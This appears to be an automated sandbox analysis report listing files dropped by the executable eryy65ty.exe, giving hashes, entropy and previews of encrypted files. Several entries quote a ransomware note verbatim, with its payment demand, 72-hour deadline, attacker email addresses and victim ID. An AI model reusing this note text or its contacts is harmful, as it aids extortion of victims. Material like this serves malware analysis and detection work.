                                                                                                                                                                SHA1:5755023883B73AB02391170262442DFF12F7929F
                                                                                                                                                                SHA-256:C1C91F96B317B0E9EAB0E60D63BAC36D7FAE88E3F1DBB4E27CE6C70C2070543B
                                                                                                                                                                SHA-512:AA3EDCAFB61F2FCFFD05A15313428DF79AD0557CDE4A1AD8A7FAF11F2A1FD704E834243512EF862C03F5B786BBC063725419905AB8DB90442E5C572D1CD5954C
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.&n..z3w..!.0....../..S.W...@3.vU%x=.......]a......l..:z..J...."Zq.a.@...6..C.Vr..w....Vu......L.Y.z.{..;C...c.....E.W;..1h.~N`c\.Dt@.n......h1.>....j..#..-.L~g.!...=...;...Cy.."..........*...?s|...}V...;K....`......xI...G.x...U.{2....H.s....+. .]{...O..>.R.b'a.~x[A....L..H...S....|.........*.c....e..0...=.j.....*.A.S...Iz..Plt"}}..K'.o...._..m.yc....A.C@....v...K...n..f....~.. .."Lza.%s+.E.....) &(~..%-z~+3H...?GQ9i..........6....6.y......v...........t.:.P.u.-........;.#O...'Bf.$...m\...ie|G...ocZX.)N.....s'\:...2Q..I...u.E..$....n.)...j.|t..go)...1,.s..... ..(.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):554
                                                                                                                                                                Entropy (8bit):7.631148757800272
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:Et3CAj+IZvjKPGUlLWVNHiw7JJR51q8c6KjWlfq2ZGNpHV6OKjqJRD9n:Et3CqvjEWHT7hs6UWlta6RjqJRD9
                                                                                                                                                                MD5:36F2260930A01748AA8623F039C08E04
                                                                                                                                                                SHA1:6DD9CE98DA2320668BE58538364A7204999DE53B
                                                                                                                                                                SHA-256:4E6A2DF92359D1382891EE331F32A43A57BB00EB6EABE46AC93FF75CE8DAF139
                                                                                                                                                                SHA-512:14DBEFB02F1C4DA2CF0DE57B0CC251DEAB323D93C1FCD20FC6E36FB011043F43730136F0C194E65C21CFF03DF31A0F730DA8B95491040AD82D57972B9BB0133A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:iDg....3P.M....[d...}3.....z...].g..Cp........ .....~.....,G..1...x....0..@.9/....e.`.4..;....]..R...Z@..^o....4.H .#..3.L...tegB.-.uf.W2G.......s..O..y....by.=...M..*E....Q.c."w.l.{.....x.,..Q.|Z.%I.q..?z....=...)..e.0....;..mC1....A.1.!U............S4..f....a...~J-complete":true}ip..vW..~.........qT._6.....5....g!B..].1M.&....s..oy.T..4............."....I ...>:...g.'T...\...8F_.GW9c..f.W(..3.s.YO.#.O.....bA.vk..#...[.."....x.r..N._....N.F...e..LH..U...cbClW..4:o..b-..^...Y[..3.JY.....B.......I...n...-.X..^.[:..B...|..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):554
                                                                                                                                                                Entropy (8bit):7.631148757800272
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:Et3CAj+IZvjKPGUlLWVNHiw7JJR51q8c6KjWlfq2ZGNpHV6OKjqJRD9n:Et3CqvjEWHT7hs6UWlta6RjqJRD9
                                                                                                                                                                MD5:36F2260930A01748AA8623F039C08E04
                                                                                                                                                                SHA1:6DD9CE98DA2320668BE58538364A7204999DE53B
                                                                                                                                                                SHA-256:4E6A2DF92359D1382891EE331F32A43A57BB00EB6EABE46AC93FF75CE8DAF139
                                                                                                                                                                SHA-512:14DBEFB02F1C4DA2CF0DE57B0CC251DEAB323D93C1FCD20FC6E36FB011043F43730136F0C194E65C21CFF03DF31A0F730DA8B95491040AD82D57972B9BB0133A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:iDg....3P.M....[d...}3.....z...].g..Cp........ .....~.....,G..1...x....0..@.9/....e.`.4..;....]..R...Z@..^o....4.H .#..3.L...tegB.-.uf.W2G.......s..O..y....by.=...M..*E....Q.c."w.l.{.....x.,..Q.|Z.%I.q..?z....=...)..e.0....;..mC1....A.1.!U............S4..f....a...~J-complete":true}ip..vW..~.........qT._6.....5....g!B..].1M.&....s..oy.T..4............."....I ...>:...g.'T...\...8F_.GW9c..f.W(..3.s.YO.#.O.....bA.vk..#...[.."....x.r..N._....N.F...e..LH..U...cbClW..4:o..b-..^...Y[..3.JY.....B.......I...n...-.X..^.[:..B...|..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1723
                                                                                                                                                                Entropy (8bit):7.896967705621098
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:cWZ8yTEDsqoO8mD+ilS3Gwtxb80fcbFwFfmelNLEyFue1pJxl/COTgn/q:cWZDYY+DLU9EbKdLLpFuWpJjaOTgS
                                                                                                                                                                MD5:DBF0545AB988AF5794FC696852A8024E
                                                                                                                                                                SHA1:24B48EFA08337887F8B72ABAC7EDCA39D4437D5D
                                                                                                                                                                SHA-256:631ED2C5584FDF410ABEFD743C60E5782A11ADAAF61AC9A708FAE84A184AC4AE
                                                                                                                                                                SHA-512:0B141677FE876E2C6EFF18BB578FAC7EF063A0AC42454E830BB6D3AF0E4C7E95443BBAE7D0BC5CDA298848ED22C5CAFF145AA1AFA58C1B6BC08FFF65D2CD995B
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...aCM.%...}c.# ..Q.....,M.....C.`K.tJ....8.{....~....f`A.....p3.......Hd83..<e......b...%.t@...."I.Z_.*$2.o0..,.OW.n...._....#.9>3..Ux...#.\....)..2...."..vx.L..Q.....*...D...._6.P...O.8@u....y.........\./R...Z5...&...].....F.J...m8p..}C.|....g..._..B!.$8..i9..r..n..X...5+.....0.tM..p..8.3.[.z.nw.......\q...u.#|2$^...!D.....=G5.js.Q........" ...mY..U.>.2:N..S...Zp..+..ZA..b...D...-......P.u. ...G.U9....F.8,SL....#.......[...K...(.>.Y...VPj*O.Z.7h..NB.l(.}gW'PT.......3..aKn.8@....ItB.yUV"..}d..K../._aN... .. y..l.b.....Up...%).ju....l[..}x.G.........=1;....(..jf.M#...^...:....^.33.N\g.I..OW.\.y.....U...]....W~)]v...;....U,..v.q.B..~].e..P..*.....r.>tfk..d..-.b..qQ].5....e.a.....j.b....mC.....94.....a....l.J..?:.......N.d....R....^%.N.H.j.a.....e..........Q..9..F....].P4.<....[3..l......1.5%.>$b......y.`.V........6...2.6..4HA,?QF.]X.3......5.y..0.4>.KAq..i1....J8X.M.6.tS....,Qe.Rf....w....Q..|.oy.Z.r.......N42....a.M5Y..K...rh:.f.n^%y.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1723
                                                                                                                                                                Entropy (8bit):7.896967705621098
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:cWZ8yTEDsqoO8mD+ilS3Gwtxb80fcbFwFfmelNLEyFue1pJxl/COTgn/q:cWZDYY+DLU9EbKdLLpFuWpJjaOTgS
                                                                                                                                                                MD5:DBF0545AB988AF5794FC696852A8024E
                                                                                                                                                                SHA1:24B48EFA08337887F8B72ABAC7EDCA39D4437D5D
                                                                                                                                                                SHA-256:631ED2C5584FDF410ABEFD743C60E5782A11ADAAF61AC9A708FAE84A184AC4AE
                                                                                                                                                                SHA-512:0B141677FE876E2C6EFF18BB578FAC7EF063A0AC42454E830BB6D3AF0E4C7E95443BBAE7D0BC5CDA298848ED22C5CAFF145AA1AFA58C1B6BC08FFF65D2CD995B
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...aCM.%...}c.# ..Q.....,M.....C.`K.tJ....8.{....~....f`A.....p3.......Hd83..<e......b...%.t@...."I.Z_.*$2.o0..,.OW.n...._....#.9>3..Ux...#.\....)..2...."..vx.L..Q.....*...D...._6.P...O.8@u....y.........\./R...Z5...&...].....F.J...m8p..}C.|....g..._..B!.$8..i9..r..n..X...5+.....0.tM..p..8.3.[.z.nw.......\q...u.#|2$^...!D.....=G5.js.Q........" ...mY..U.>.2:N..S...Zp..+..ZA..b...D...-......P.u. ...G.U9....F.8,SL....#.......[...K...(.>.Y...VPj*O.Z.7h..NB.l(.}gW'PT.......3..aKn.8@....ItB.yUV"..}d..K../._aN... .. y..l.b.....Up...%).ju....l[..}x.G.........=1;....(..jf.M#...^...:....^.33.N\g.I..OW.\.y.....U...]....W~)]v...;....U,..v.q.B..~].e..P..*.....r.>tfk..d..-.b..qQ].5....e.a.....j.b....mC.....94.....a....l.J..?:.......N.d....R....^%.N.H.j.a.....e..........Q..9..F....].P4.<....[3..l......1.5%.>$b......y.`.V........6...2.6..4HA,?QF.]X.3......5.y..0.4>.KAq..i1....J8X.M.6.tS....,Qe.Rf....w....Q..|.oy.Z.r.......N42....a.M5Y..K...rh:.f.n^%y.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1723
                                                                                                                                                                Entropy (8bit):7.898771192820096
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:CwdxKCXb797xSXwCog4Xv76xyK+qy5ZGVLRd4U:1dxNX9YgC2f76+qy5ZuLR1
                                                                                                                                                                MD5:BB862CF0552E64B7DA4D1BB9E05648AC
                                                                                                                                                                SHA1:A14ABD453CFE19C50D20399BA031D72A19AD025B
                                                                                                                                                                SHA-256:EA906686C08ECB8628394A87410BF6C032E68515B55D78528F44C248EA66DBC9
                                                                                                                                                                SHA-512:CDB32EA0F918B6F80DD835C8356658605013B855D12C9065CDA2E25D25997812A3EA1ABF6BC21A43F532E2FF858022BAD464C959172ABB95D8E6A480A44CD3F2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:G.....b.;.Q~U..,...x.z.c.....l..d..n...{.....s..d'.X.X..^..=..<o/.GK2..:.}./\.b.C..b...... .....^...../...Sq.Qr.C.;.....6:G.?r...f5&.w..8>......`..Y.............Vk..m.....nz.....4....,.e'...... (O~&;.N..1..._...$..@..P.L...D.'@u..7..U&..9....A....*fZ._...nwA..9q.fT..6...$..#...#.Y+BT7..?.?6....Q....._.3..2.g....?.-..._vH@.5..z../..E.|\@.RONQ.iR1.y...E.E......a.k....OM`...w..b;#J.=..m.R.1...d.2....n`.i..r@GR..6(.<...c..-..vt.P/...E..w.....hSo]{....>.S.v.u9aI......e f......U...}.gg..(..s?.o*.'.5.b....._..*.~.+v....".h}......F"....$vS....D.$.f.x.VI......6..n&...T.5}....'.~r........)z.l...SF.W]9V..07z...%d...l..S..!.ne..~.sWY.F.ai.@.s.5.$.#.(..N...F$.B.<...r...@\pR.V...+....-.o.5.......z"..7....B..>...Vb....)G..CW.....@.!.DvtN.r7.-.v....c.;...,....u_6.;..Y9.....G...X....lkV....I.z'.;W.....H^.A.Fi.c..4..O...i.n6.....|r....&-".^eT...+....6.}...=...v...u..n.......h..n(.QE..Wr....^W...GP\W".kf. .b....e..d... ^d.......Fk...Q..s.=Q..f.g(.....+a.....)=...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1723
                                                                                                                                                                Entropy (8bit):7.898771192820096
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:CwdxKCXb797xSXwCog4Xv76xyK+qy5ZGVLRd4U:1dxNX9YgC2f76+qy5ZuLR1
                                                                                                                                                                MD5:BB862CF0552E64B7DA4D1BB9E05648AC
                                                                                                                                                                SHA1:A14ABD453CFE19C50D20399BA031D72A19AD025B
                                                                                                                                                                SHA-256:EA906686C08ECB8628394A87410BF6C032E68515B55D78528F44C248EA66DBC9
                                                                                                                                                                SHA-512:CDB32EA0F918B6F80DD835C8356658605013B855D12C9065CDA2E25D25997812A3EA1ABF6BC21A43F532E2FF858022BAD464C959172ABB95D8E6A480A44CD3F2
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:G.....b.;.Q~U..,...x.z.c.....l..d..n...{.....s..d'.X.X..^..=..<o/.GK2..:.}./\.b.C..b...... .....^...../...Sq.Qr.C.;.....6:G.?r...f5&.w..8>......`..Y.............Vk..m.....nz.....4....,.e'...... (O~&;.N..1..._...$..@..P.L...D.'@u..7..U&..9....A....*fZ._...nwA..9q.fT..6...$..#...#.Y+BT7..?.?6....Q....._.3..2.g....?.-..._vH@.5..z../..E.|\@.RONQ.iR1.y...E.E......a.k....OM`...w..b;#J.=..m.R.1...d.2....n`.i..r@GR..6(.<...c..-..vt.P/...E..w.....hSo]{....>.S.v.u9aI......e f......U...}.gg..(..s?.o*.'.5.b....._..*.~.+v....".h}......F"....$vS....D.$.f.x.VI......6..n&...T.5}....'.~r........)z.l...SF.W]9V..07z...%d...l..S..!.ne..~.sWY.F.ai.@.s.5.$.#.(..N...F$.B.<...r...@\pR.V...+....-.o.5.......z"..7....B..>...Vb....)G..CW.....@.!.DvtN.r7.-.v....c.;...,....u_6.;..Y9.....G...X....lkV....I.z'.;W.....H^.A.Fi.c..4..O...i.n6.....|r....&-".^eT...+....6.}...=...v...u..n.......h..n(.QE..Wr....^W...GP\W".kf. .b....e..d... ^d.......Fk...Q..s.=Q..f.g(.....+a.....)=...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1480
                                                                                                                                                                Entropy (8bit):7.88172423198811
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:IUy6HZJHX/+L85iB5EqQUokNNh/z5RqZD0cVp2AolLKxIa0i3shoO4Ak2S4rlC9y:IYXvIBEqnrNBR8oY+/ic1g5489vPoakF
                                                                                                                                                                MD5:E873679429A0DEF60A8476BC5985E2B7
                                                                                                                                                                SHA1:24B319A7185F80A1214077DA680204356C529FAC
                                                                                                                                                                SHA-256:A513FFDBACF435E833B36D631D6186C30C3758F7C06EB3AB7520F23954CE58C8
                                                                                                                                                                SHA-512:832045DA0A98E0776CB58579562BB2DFDF0114C223A9AA54BE7E454A81BC17FC3B62A00900B88343B590D6AF493507842FBD5F6DAA996A5E17CD2D59FF4E9B67
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..G..E!e.n{.P.....&....+.....GX.A.R....!#...jb.'.7...>......W'6{..st..6..F.....z..-.#K0m...3..TCe-% ..".)*..M.j@.k..n.B.+.@.V.Y.Y.ww..B^N.K.y.m-".;B.mK.E/.~)z......"..]-....Qr?.F.1f...;\..)...J.P..$.c.csfY..bN.ZS.U......dd.)D,..W......4SF..94tM....AV/.....p........v.......N9..h..^...!.......\. t'.W..NZ..G.,..@.N2.n.-).h...J.C.y6..R..g..=G..S.*`.-..D:..h+..c!D6K....sq.i?PD..3..........#.E..8..p....a..g..+..}....v(.....r..q........c=.K|......IB..?]i...o..?rs#.u...1)3..e.S.F8.l..:..'C.f.j&Q...,^..#..?%4...{[e.....`Lw....?....2.z....oe......d.....E._j..hN..K..8U].7..^..`q...2.....m...0d.(..l....W.wP.n._?cj..~Q0k...ohr..t}<".2..c.#..u...R...D..C..go(>..0...|...%.A..0.j.d....<:....`.m..\......6...X.I..m..v.|q..4h..;.r..\JV.<..01.o.OA.*.#.TMH..q...'Ol./:.Y..:...C=.J..g......m* .....hC..V....G.'*/..Q.i.c.;j,.Vb.......R!,.....g.@.h.s?..!......$m...Z..4.^..F.....d.Q...u^Q....m...{K...rY-.>...N=....../....+..5.74*.O.p..O.v..<.;v2T.a.\...e..*.....<q;F?`.T
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1480
                                                                                                                                                                Entropy (8bit):7.88172423198811
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:IUy6HZJHX/+L85iB5EqQUokNNh/z5RqZD0cVp2AolLKxIa0i3shoO4Ak2S4rlC9y:IYXvIBEqnrNBR8oY+/ic1g5489vPoakF
                                                                                                                                                                MD5:E873679429A0DEF60A8476BC5985E2B7
                                                                                                                                                                SHA1:24B319A7185F80A1214077DA680204356C529FAC
                                                                                                                                                                SHA-256:A513FFDBACF435E833B36D631D6186C30C3758F7C06EB3AB7520F23954CE58C8
                                                                                                                                                                SHA-512:832045DA0A98E0776CB58579562BB2DFDF0114C223A9AA54BE7E454A81BC17FC3B62A00900B88343B590D6AF493507842FBD5F6DAA996A5E17CD2D59FF4E9B67
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..G..E!e.n{.P.....&....+.....GX.A.R....!#...jb.'.7...>......W'6{..st..6..F.....z..-.#K0m...3..TCe-% ..".)*..M.j@.k..n.B.+.@.V.Y.Y.ww..B^N.K.y.m-".;B.mK.E/.~)z......"..]-....Qr?.F.1f...;\..)...J.P..$.c.csfY..bN.ZS.U......dd.)D,..W......4SF..94tM....AV/.....p........v.......N9..h..^...!.......\. t'.W..NZ..G.,..@.N2.n.-).h...J.C.y6..R..g..=G..S.*`.-..D:..h+..c!D6K....sq.i?PD..3..........#.E..8..p....a..g..+..}....v(.....r..q........c=.K|......IB..?]i...o..?rs#.u...1)3..e.S.F8.l..:..'C.f.j&Q...,^..#..?%4...{[e.....`Lw....?....2.z....oe......d.....E._j..hN..K..8U].7..^..`q...2.....m...0d.(..l....W.wP.n._?cj..~Q0k...ohr..t}<".2..c.#..u...R...D..C..go(>..0...|...%.A..0.j.d....<:....`.m..\......6...X.I..m..v.|q..4h..;.r..\JV.<..01.o.OA.*.#.TMH..q...'Ol./:.Y..:...C=.J..g......m* .....hC..V....G.'*/..Q.i.c.;j,.Vb.......R!,.....g.@.h.s?..!......$m...Z..4.^..F.....d.Q...u^Q....m...{K...rY-.>...N=....../....+..5.74*.O.p..O.v..<.;v2T.a.\...e..*.....<q;F?`.T
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):284
                                                                                                                                                                Entropy (8bit):7.215463383586395
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:25j+LhCJ4tQS+zCq65O4U5WBUCSrY8BPbdJQreAef7aSNB4MIft5I59D7Ui4nn:+wCJm3Dq65OiiCSbBzbQreT7anMQ5qUT
                                                                                                                                                                MD5:64E06DE892B978C77CCD119895461AC7
                                                                                                                                                                SHA1:9C0C0A3434463D502F7E06C84CEFFF55F15E9429
                                                                                                                                                                SHA-256:7389A57D567CAF7F362AE434B6AE38991C0041FA80B05237525B86EB54F3AB17
                                                                                                                                                                SHA-512:5C72FEEA50111DC9D0CCAADE9D98E35E5729C56EA0A6AFA460405AAD9979E67607D4333066580B5CDBAAB06A7163014BEA8964453901017B71D03393DCCE0A68
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:|.........G./c..}}k.3....0|..8..Z.....:...A......1....J...2........k.$w.....g..&:.........1....$...QJ.e..18.8m.si........r.0.}On.iZ.....U.e*..8<.].*...-w..f)k..<.'9%.....^..t.....U...'..,ni.c"`....J...h.Xk.).5G....w.....?$1..qf.-k.F..P5..x...N"d.QK:...C..$G.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):284
                                                                                                                                                                Entropy (8bit):7.215463383586395
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:25j+LhCJ4tQS+zCq65O4U5WBUCSrY8BPbdJQreAef7aSNB4MIft5I59D7Ui4nn:+wCJm3Dq65OiiCSbBzbQreT7anMQ5qUT
                                                                                                                                                                MD5:64E06DE892B978C77CCD119895461AC7
                                                                                                                                                                SHA1:9C0C0A3434463D502F7E06C84CEFFF55F15E9429
                                                                                                                                                                SHA-256:7389A57D567CAF7F362AE434B6AE38991C0041FA80B05237525B86EB54F3AB17
                                                                                                                                                                SHA-512:5C72FEEA50111DC9D0CCAADE9D98E35E5729C56EA0A6AFA460405AAD9979E67607D4333066580B5CDBAAB06A7163014BEA8964453901017B71D03393DCCE0A68
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:|.........G./c..}}k.3....0|..8..Z.....:...A......1....J...2........k.$w.....g..&:.........1....$...QJ.e..18.8m.si........r.0.}On.iZ.....U.e*..8<.].*...-w..f)k..<.'9%.....^..t.....U...'..,ni.c"`....J...h.Xk.).5G....w.....?$1..qf.-k.F..P5..x...N"d.QK:...C..$G.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4362
                                                                                                                                                                Entropy (8bit):7.958265438331993
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:fDQFoZKNQFPpPi7PFMJGSVuTbCKGGc0aiZzrJatnNNwLX5ClQoPu61QnpMoWYL0u:fmdPFMg1bCKG4r9atNNwLXs7P71QnpMA
                                                                                                                                                                MD5:9A1D7ABB8A55F5E2C8B42E3871E1482A
                                                                                                                                                                SHA1:F808FAD4E0C920CEECF60805D8A8BD0A88E15901
                                                                                                                                                                SHA-256:C2732723F6C8222DA2D21CA74710EF0B1641DAE48D7327974E50A43EDA8C1CE6
                                                                                                                                                                SHA-512:7D9F92AA2850FBD603A9E35B78FE0B763CF17560F92861156A423974A18CB69287EF4D06666E75B9D3217B27BD373538E92C8762B9843378523C8984E82ABA83
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......Q........`w....)KZ..Z..............@....V+....`..J:. ...F.P.b...H.DD...H..8d......vl.......T..y.....Io.......j.Z.i...;h.....?..&..........Y..T..B.M.Vb;f..K'.o.t......G......+...x.V..x.O..........Ts..C....9W...L4.g$.zR...4r.f`..}.......K3.R.(."yG.;..x.....>...L3C.q+h.F..a.0vL?.I...@...$.A.U..M...*"...b..z.1......,.++.].hJ.o........&..9.>.....%...k.W....7...T.FD..m.....C..k...NUu.}.j.....4z.#-8...#._....X./r..........0.}.+>...z.....u.y.a.1.`.J..(...p.R.]/.>w>tS..D...q.4R.....-.Y..LX..N.U..K.".*5.%.`g....e..=.H..[................'i.....@OrIi....v.I...8...![r.?.'.b.bP..t>|.}$z.*..P......(.0.....[.....Y....i<...8...^.b2.:L.z#.t..%....}..h.<.&..7!..6.W.le ..J`...d.......c.!...@..2........HNZk..>W..Q........g..b..Nq....=.Hb".M..&F....E.n{.6.._fY..T3U.....).1.j@..D.ID.h...<.0M)....gYy...7.P....|..._.....3.ms.9c.(S...G.N...7.|.....rfI.~.......}u3o....o.>)b.X...|L.J...UV,...nh.4....i..r|....{>..p.^.p.k.F+H.3..,#8....bv........>O....(.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4362
                                                                                                                                                                Entropy (8bit):7.958265438331993
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:fDQFoZKNQFPpPi7PFMJGSVuTbCKGGc0aiZzrJatnNNwLX5ClQoPu61QnpMoWYL0u:fmdPFMg1bCKG4r9atNNwLXs7P71QnpMA
                                                                                                                                                                MD5:9A1D7ABB8A55F5E2C8B42E3871E1482A
                                                                                                                                                                SHA1:F808FAD4E0C920CEECF60805D8A8BD0A88E15901
                                                                                                                                                                SHA-256:C2732723F6C8222DA2D21CA74710EF0B1641DAE48D7327974E50A43EDA8C1CE6
                                                                                                                                                                SHA-512:7D9F92AA2850FBD603A9E35B78FE0B763CF17560F92861156A423974A18CB69287EF4D06666E75B9D3217B27BD373538E92C8762B9843378523C8984E82ABA83
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:......Q........`w....)KZ..Z..............@....V+....`..J:. ...F.P.b...H.DD...H..8d......vl.......T..y.....Io.......j.Z.i...;h.....?..&..........Y..T..B.M.Vb;f..K'.o.t......G......+...x.V..x.O..........Ts..C....9W...L4.g$.zR...4r.f`..}.......K3.R.(."yG.;..x.....>...L3C.q+h.F..a.0vL?.I...@...$.A.U..M...*"...b..z.1......,.++.].hJ.o........&..9.>.....%...k.W....7...T.FD..m.....C..k...NUu.}.j.....4z.#-8...#._....X./r..........0.}.+>...z.....u.y.a.1.`.J..(...p.R.]/.>w>tS..D...q.4R.....-.Y..LX..N.U..K.".*5.%.`g....e..=.H..[................'i.....@OrIi....v.I...8...![r.?.'.b.bP..t>|.}$z.*..P......(.0.....[.....Y....i<...8...^.b2.:L.z#.t..%....}..h.<.&..7!..6.W.le ..J`...d.......c.!...@..2........HNZk..>W..Q........g..b..Nq....=.Hb".M..&F....E.n{.6.._fY..T3U.....).1.j@..D.ID.h...<.0M)....gYy...7.P....|..._.....3.ms.9c.(S...G.N...7.|.....rfI.~.......}u3o....o.>)b.X...|L.J...UV,...nh.4....i..r|....{>..p.^.p.k.F+H.3..,#8....bv........>O....(.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
